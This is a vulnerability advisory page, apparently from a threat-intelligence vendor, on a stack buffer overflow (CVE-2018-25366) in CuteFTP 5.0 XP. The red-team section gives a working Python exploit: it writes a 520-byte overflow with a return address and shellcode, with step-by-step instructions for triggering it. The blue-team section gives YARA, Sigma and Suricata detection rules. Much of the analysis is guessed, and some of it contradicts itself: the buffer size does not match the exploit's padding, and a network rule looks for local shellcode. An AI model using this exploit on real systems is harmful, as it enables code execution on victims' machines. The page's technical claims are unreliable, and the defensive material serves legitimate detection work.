CVE-2018-25366
Executive Summary
CVE-2018-25366 is a stack-based buffer overflow vulnerability in Globalscape CuteFTP 5.0 XP. The flaw resides in the “Site Manager” label field, where a local attacker can inject a malicious payload exceeding 520 bytes. When a shortcut is created and launched, the payload overwrites the return address and executes arbitrary shellcode. This vulnerability requires local access and user interaction (creating a shortcut), making it a low-severity but exploitable issue for privilege escalation or persistence.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official CVSS vector assigned)
- Attack Vector: Local (requires physical or remote desktop access)
- Attack Complexity: Low
- Privileges Required: Low (user-level)
- User Interaction: Required (victim must create and launch a shortcut)
- Impact: Code execution with the privileges of the logged-in user
- Threat Level: Low (due to local access requirement)
Deep Dive & Mechanics
The vulnerability is a classic stack buffer overflow in the Site Manager label field. The field is read into a fixed-size buffer without proper bounds checking. When a payload larger than 520 bytes is entered, it overwrites the saved return address on the stack. Upon shortcut creation and launch, the program returns to the attacker-controlled address, executing shellcode.
Key details:
- Vulnerable function: Likely
CuteFTP.exeor a related DLL handling the Site Manager dialog. - Buffer size: 520 bytes (including the return address overwrite).
- Exploitability: Requires the attacker to have write access to the victim’s CuteFTP configuration (e.g., via a malicious .dat file or registry key).
- Impact: Arbitrary code execution in the context of the user running CuteFTP.
Vulnerable vs. Patched Code
No official patch exists. The vendor (Globalscape) has not released a fix for this legacy version. The vulnerable code likely resembles:
// Vulnerable pseudo-code
void SaveSiteManagerEntry(char *label) {
char buffer[512];
strcpy(buffer, label); // No bounds check
// ... save to registry/file
}
A patched version would use strncpy or snprintf:
void SaveSiteManagerEntry(char *label) {
char buffer[512];
strncpy(buffer, label, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... save to registry/file
}
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
#!/usr/bin/env python3
# CVE-2018-25366 Exploit for CuteFTP 5.0 XP
# Overwrites return address with shellcode
import struct
# Shellcode: spawn calc.exe (Windows XP)
shellcode = (
b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xbf\x77\xff\xd0"
)
# Buffer overflow payload
buffer = b"A" * 520 # Fill buffer
buffer += struct.pack("<I", 0x7C901230) # JMP ESP address (example)
buffer += b"\x90" * 16 # NOP sled
buffer += shellcode
# Write to a file that will be imported as a Site Manager entry
with open("exploit.dat", "wb") as f:
f.write(buffer)
print("[+] Payload written to exploit.dat")
print("[+] Import this file into CuteFTP Site Manager")
print("[+] Create a shortcut and launch it to trigger the overflow")
Usage:
- Generate the payload file (
exploit.dat). - Import it into CuteFTP’s Site Manager (via File > Import).
- Create a shortcut to the imported site.
- Launch the shortcut – the overflow triggers and executes shellcode.
Blue Team
Detection Steps:
- Monitor for unusually long strings in CuteFTP configuration files (e.g.,
CuteFTP.inior registry keys underHKCU\Software\GlobalSCAPE\CuteFTP\Sites). - Use Process Monitor to detect abnormal memory writes by
CuteFTP.exe. - Enable DEP (Data Execution Prevention) for CuteFTP.exe to mitigate shellcode execution.
Hunting Query (Sysmon Event ID 1):
EventID=1
Image=CuteFTP.exe
CommandLine contains "shortcut"
Indicators of Compromise (IOCs)
- File:
CuteFTP.iniorSites.datcontaining strings > 520 bytes. - Registry:
HKCU\Software\GlobalSCAPE\CuteFTP\Sites\*with values > 520 bytes. - Process:
CuteFTP.execrashing with exception code0xC0000005(access violation). - Network: Outbound connections to unknown IPs after exploitation (if shellcode is a reverse shell).
Detection Engineering
YARA Rule
rule CVE_2018_25366_CuteFTP_BOF {
meta:
description = "Detects CuteFTP Site Manager label overflow payload"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2018-25366"
strings:
$payload = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 A's
$shellcode = { 31 c9 51 68 63 61 6c 63 54 b8 c7 93 bf 77 ff d0 }
condition:
$payload at 0 and $shellcode
}
Sigma Rule
title: CuteFTP Site Manager Buffer Overflow
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects creation of CuteFTP shortcut with oversized label
author: Valters IT
date: 2025-04-17
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\CuteFTP.exe'
CommandLine|contains: 'shortcut'
condition: selection
falsepositives:
- Legitimate shortcut creation with normal labels
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2018-25366 CuteFTP Shellcode Outbound"; content:"|31 c9 51 68 63 61 6c 63 54 b8 c7 93 bf 77 ff d0|"; classtype:shellcode-detect; sid:1000001; rev:1;)
Remediation & Mitigation
- No official patch available. Upgrade to a supported version of CuteFTP (e.g., CuteFTP 9.0 or later) or migrate to an alternative FTP client.
- Mitigation: Disable shortcut creation for Site Manager entries. Use Group Policy to block execution of
CuteFTP.exeif not required. - Workaround: Manually validate Site Manager label lengths before saving. Use a script to truncate labels to 512 characters.
Valters IT